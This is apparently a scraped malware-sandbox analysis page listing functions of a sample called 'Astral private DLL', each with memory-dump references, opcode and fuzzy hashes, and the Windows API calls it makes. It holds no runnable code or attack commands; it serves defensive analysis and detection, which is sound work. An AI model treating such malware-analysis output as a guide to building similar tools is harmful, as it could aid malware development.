Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: e601f1d4601f671d4558ec69dee13edc9f74bf2ade8e9f2e171642574b4db9ea
Instruction ID: 8e773ec41a4b65abbe90d7f1cab15c410c134ff98d30907ebd0599363aa04f92
Opcode Fuzzy Hash: e601f1d4601f671d4558ec69dee13edc9f74bf2ade8e9f2e171642574b4db9ea
Instruction Fuzzy Hash: DEF0E5322002169FCF16AEA8EC0099A77A9FF01F2071C4126FA25E71D0DB31DB20CF90

Function 00188E06 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0018CA2C,00000000,?,00186CBE,?,00000008,?,001891E0,?,?,?), ref: 00188E38

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0d5438af8da1869d7ae6ece508438036fd889a057605a8f8a0b2407010005ed2
Instruction ID: 07cb7770fd142b90448ad6a1d060f880756e9d97ecc239a4f300778227872bc6
Opcode Fuzzy Hash: 0d5438af8da1869d7ae6ece508438036fd889a057605a8f8a0b2407010005ed2
Instruction Fuzzy Hash: 58E06D312466255BEA7536699C09BAB7A889F517B4F960121BC1897491DF60CF008FF1

Function 00165ABD Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00165AC2

Part of subcall function 0016B505: __EH_prolog.LIBCMT ref: 0016B50A

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 24ba546376b03365c5f701a3a680142f99767a207e6265c514e106c346dc39f8
Instruction ID: 9c3e2effb5d0454326f07f77b4179518625077223d9aa0be1e3a5921388d88f7
Opcode Fuzzy Hash: 24ba546376b03365c5f701a3a680142f99767a207e6265c514e106c346dc39f8
Instruction Fuzzy Hash: 10018C30810790DAD726E7B8C0617EDFBF49F79304F54848EA45A63282CBB41B08D7A2

Function 0016A56D Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 0016A69B: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0016A592,000000FF,?,?), ref: 0016A6C4
Part of subcall function 0016A69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,0016A592,000000FF,?,?), ref: 0016A6F2
Part of subcall function 0016A69B: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0016A592,000000FF,?,?), ref: 0016A6FE

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0016A598

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 2ca7ef2919bb179c1bb88ac16be5a9c32058bbe62678bc7da7fd1d8cdf979f11
Instruction ID: dcaaa203d26c0a0733bfe11c7e95214f5b5084226258030d0b7204602a0eb94a
Opcode Fuzzy Hash: 2ca7ef2919bb179c1bb88ac16be5a9c32058bbe62678bc7da7fd1d8cdf979f11
Instruction Fuzzy Hash: 01F08231008790AACB22A7B48D04BCB7B906F2A331F448B4DF5FE62196C37550B89F23

Function 00170E08 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00170E3D

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 92fe46098c5a40ad61953fc8928d4e8ba29ff47137f817b504c567dbf2b50069
Instruction ID: 893d561417778c5150fcd552c6a137ba720ff65debd031814ded8d9e37de830c
Opcode Fuzzy Hash: 92fe46098c5a40ad61953fc8928d4e8ba29ff47137f817b504c567dbf2b50069
Instruction Fuzzy Hash: DBD02B116011547ADB12332C2D157FF36268FEB310F0C4026F04D67583CF4448C2A261

Function 0017A626 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 0017A62C

Part of subcall function 0017A3B9: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 0017A3DA

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction ID: 85344529e0f8cf24be0ae17322744c586a6f6e8416d89b9aac4e60762e03c764
Opcode Fuzzy Hash: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction Fuzzy Hash: 25D0C971210209BADF466F618C1296E7AFAEF90340F44C125B84AD6191EBB1DA10A662

Function 0017DD6D Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00171B3E), ref: 0017DD92

Part of subcall function 0017B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0017B579
Part of subcall function 0017B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0017B58A
Part of subcall function 0017B568: IsDialogMessageW.USER32(0001043C,?), ref: 0017B59E
Part of subcall function 0017B568: TranslateMessage.USER32(?), ref: 0017B5AC
Part of subcall function 0017B568: DispatchMessageW.USER32(?), ref: 0017B5B6

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: dda07b3ed83e17f2b361ea4901f78009409e4891d1267d275f3207c8e9bab02b
Instruction ID: c2a6131d3664bfe06526d759309eee2c1b089c9387470d0b0672920e803af532
Opcode Fuzzy Hash: dda07b3ed83e17f2b361ea4901f78009409e4891d1267d275f3207c8e9bab02b
Instruction Fuzzy Hash: DED09E32148300BAD6022B51DD06F0A7AB2AB9CB08F008554B288744B187729D71EB11

Function 0017E5BB Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadProtectSection.DELAYIMP ref: 0017E5E3

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: 3ac91f4eef78a3c9904fa0701581ef07127fadbccedbd4bc1432f740203b936e
Instruction ID: 01ae2a12fea854fb09e20196cc9d26f04aabe3fe0bb59fd5b4696a8a836b12c0
Opcode Fuzzy Hash: 3ac91f4eef78a3c9904fa0701581ef07127fadbccedbd4bc1432f740203b936e
Instruction Fuzzy Hash: 9DD0C9B41C0280AAD706EBA89886B1836F5BB3E704F94C185B14D998A2DB6484D1CB0A

Function 001698BC Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,001697BE), ref: 001698C8

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: da79bd8a5708a501640c349eb776e485b7842a481bcf9e5609143c19fe8cf5b9
Instruction ID: 8f56b73962e5b06c6d1c78458c43023b342f18fa8140d497c598e10f4189d163
Opcode Fuzzy Hash: da79bd8a5708a501640c349eb776e485b7842a481bcf9e5609143c19fe8cf5b9
Instruction Fuzzy Hash: 54C00239404249D78E219B249C4909A772AAB533A67B8A695D069CA4A1C336CCABEA11

Function 0017E1D1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1dcfdfe1348e501d9756830aa033874d39ea644a9daabdc8281c70f43cf55b79
Instruction ID: afd38c8453e071b63f89f25ddf0176a8487f22c58d7ea8caa0e3869e57a49cb7
Opcode Fuzzy Hash: 1dcfdfe1348e501d9756830aa033874d39ea644a9daabdc8281c70f43cf55b79
Instruction Fuzzy Hash: 1CB09295258100BC7208A1451902D3701ACC099B10331C46EB829D04809A40AC401872

Function 0017E1F6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5c5947f81f704713fec4fb389692186fba34ca9b38a1cf900e6ad96bf96741bb
Instruction ID: 70421502e88112a3f10f839c07121b746f3468775eaae8b919ed29ddac3f716d
Opcode Fuzzy Hash: 5c5947f81f704713fec4fb389692186fba34ca9b38a1cf900e6ad96bf96741bb
Instruction Fuzzy Hash: D6B09291258000BC7208A2051902E3601ECC099B10335C06EB829C11809A40A8440872

Function 0017E1EC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 28d91c7657979b98dd36749562a65f6f900bac90a9f29572680e9777bbcdf304
Instruction ID: d7fa0c0f0bd64a1671903b31da9cccbfbe6bb69c681dd27a13e32c69c92b5db4
Opcode Fuzzy Hash: 28d91c7657979b98dd36749562a65f6f900bac90a9f29572680e9777bbcdf304
Instruction Fuzzy Hash: 3CB092D5258100BC7208A1491902E3701ECC098B10331C06EB829C10809A40AC401972

Function 0017E21E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 968f8f6a35828559ca2a58e4e55f11a01c5382974b5e87474b2127d3be036e2f
Instruction ID: 90a47ec401361cf2e8ffb39294cff74f914af039b25c5be58ed8479ba78989b5
Opcode Fuzzy Hash: 968f8f6a35828559ca2a58e4e55f11a01c5382974b5e87474b2127d3be036e2f
Instruction Fuzzy Hash: 19B092A2258000BC7208A1051902E3601ECC099B10331C06EB829C10809A40A9400872

Function 0017E200 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6690b94133f4f48f1351be83fd4072a23bdeb6751660eb46a824725b7ba31a36
Instruction ID: 31acc57c76a1f87666b7b303b9ad037d39d1edaf212a90bd6a655710c8415ebf
Opcode Fuzzy Hash: 6690b94133f4f48f1351be83fd4072a23bdeb6751660eb46a824725b7ba31a36
Instruction Fuzzy Hash: B2B012D1358140BC7348E2051D03E3701ECC0D8B10335C17EF82DC11C0DB40BC840872

Function 0017E20A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 185aa8cd27f1a468a1ad637d1b85b43b28163d090608b4d44c81165b8b5d7451
Instruction ID: ef8fb9e1d587d142d64d4d5a7165a85a92ad08cf9bb755eaddc6d186f4b4780f
Opcode Fuzzy Hash: 185aa8cd27f1a468a1ad637d1b85b43b28163d090608b4d44c81165b8b5d7451
Instruction Fuzzy Hash: F1B09291258000BC7208A2061A02E3601ECC098B10335C06EB829C11809A51A9491872

Function 0017E232 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: dde2d8afda079eb39c34840af7c4c963cee533289e7905c9b4af9d011edfb0e2
Instruction ID: b4a2fc11f0288dc11c36138b3cbd6e17f1445dc5525dad4cfbb2c30c0f298783
Opcode Fuzzy Hash: dde2d8afda079eb39c34840af7c4c963cee533289e7905c9b4af9d011edfb0e2
Instruction Fuzzy Hash: DCB092A1258000BC7208A1061A02E3601ECC098B10331C06EB829C1080DA41AA410872

Function 0017E23C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e4ca6cdf26c5328aaa3eae85582074900f7e53bdf5377fab701ae41437343484
Instruction ID: db16f997f132027a75a43cc02d1704b00f0be85dbc95c2a09daea3106028c71c
Opcode Fuzzy Hash: e4ca6cdf26c5328aaa3eae85582074900f7e53bdf5377fab701ae41437343484
Instruction Fuzzy Hash: C8B012E1358000BC7308E1061D03E3701ECC0D8F10331C07EF82DC1080DB40BD400872

Function 0017E228 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017E1E3

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
